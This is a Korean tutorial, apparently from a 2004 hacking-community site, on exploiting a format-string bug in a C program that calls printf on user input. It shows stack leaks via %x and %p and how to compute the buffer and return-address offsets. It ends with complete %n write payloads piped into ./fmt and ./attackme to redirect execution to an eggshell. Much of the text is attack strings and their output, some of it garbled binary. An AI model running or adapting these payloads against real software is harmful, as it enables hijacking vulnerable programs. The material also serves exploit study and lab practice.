글쓴이 : ttongfly@ttongfly.net2004. 2. 20 홈페이지 : http://ttongfly.net 관련문서 : 포맷스트링 공격에 대한 분석 -biksaint@wowhacker.org
1. main 함수의 리턴 어드레스 찾기
2. 스택과의 거리 계산
main(void) { char buf[100]; fgets(buf, 100, stdin); printf(buf); }
AAAA6440157c204002baf4414141417825782578257825782578257825782578257825a
AAAA6440157c204002baf44141414178257825
AAAA6440157c204002baf441414141
AAAA 644015 7c2040 02baf4 %x가 3개 이후에 입력한 AAA의 값인 414141이 나타난다는 것을 알 수 있으므로 %x%x%x(%x3개)로 패딩처리해야 한다는 것을 알 수 있다. 3. 버퍼 주소 찾기 버퍼의 주소를 찾기 위하여 다음과 같은 문자열을 사용하면 된다 A는 4의 배수 [AAAAAAAAA….AAAA][버퍼예상주소][%x%x%x패딩][%x%x%x:A의개수 나누기4][%s] 마지막에 %s를 이용하면 버퍼예상주소로부터 내용을 출력하게 된다. 만약 버퍼 예상주소가 실제 버퍼주소랑 일치하게 되면 입력한 문자열이 그대로 출력되게 된다.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP??440157c204002baf441414141414141414141414141414141414141414141414141414141414141414141414141414141@ Y@x?역@
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ??440157c204002baf441414141414141414141414141414141414141414141414141414141414141414141414141414141%x%x%x%s
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA琮?440157c204002baf441414141414141414141414141414141414141414141414141414141414141414141414141414141AAAAAAAAAAAAAAAAAAAAAAAA琮?x%x%x%x%x%x%x%x%x%x%x%x%x%s
4. 버퍼와 main함수의 리턴 어드레스 사이의 거리찾기
%p를 32개 입력하였을 경우 main함수의 리턴 어드레스가 나타났다. 여기서 버퍼와 main함수의 리턴어드레스 사이의 거리는 (32-1)*4바이트이다. 여기서 -1을 해야하는 이유는 오프셋 개념이 0부터 시작하기 때문이다. 따라서 버퍼와 main함수의 리턴어드레스 사이는 다음과 같다.
따라서 실제 main함수의 리턴어드레스의 스택 상에서의 위치는 다음과 같이 셈할 수 있다.
5. 포맷 스트링 공격 포맷스트링 공격의 기본적인 공격문자열은 다음과 같다] [AAAA][ret][AAAA][ret+2][%08x%08x%08x패딩][%12345c][%n][%12345c][%n][eggshell] 4 4 44 (4*3)127272
fa28(64040) – 16 – 패딩값 12 = 64012 1bfff – fa28 = 50647 (printf “\\x41\\x41\\x41\\x41\\x48\\x95\\x04\\x08\\x41\\x41\\x41\\x41\\x4a\\x95\\x04\\x08%08x%08x%%64012c%%n%%50647c%%n”;cat)|./fmt
fab8(64184) – 16 = 64168 1bfff – fab8 = 50503 (printf “\\x41\\x41\\x41\\x41\\x0c\\x95\\x04\\x08\\x41\\x41\\x41\\x41\\x0e\\x95\\x04\\x08%%64168c%%n%%50503c%%n”;cat)|./attackme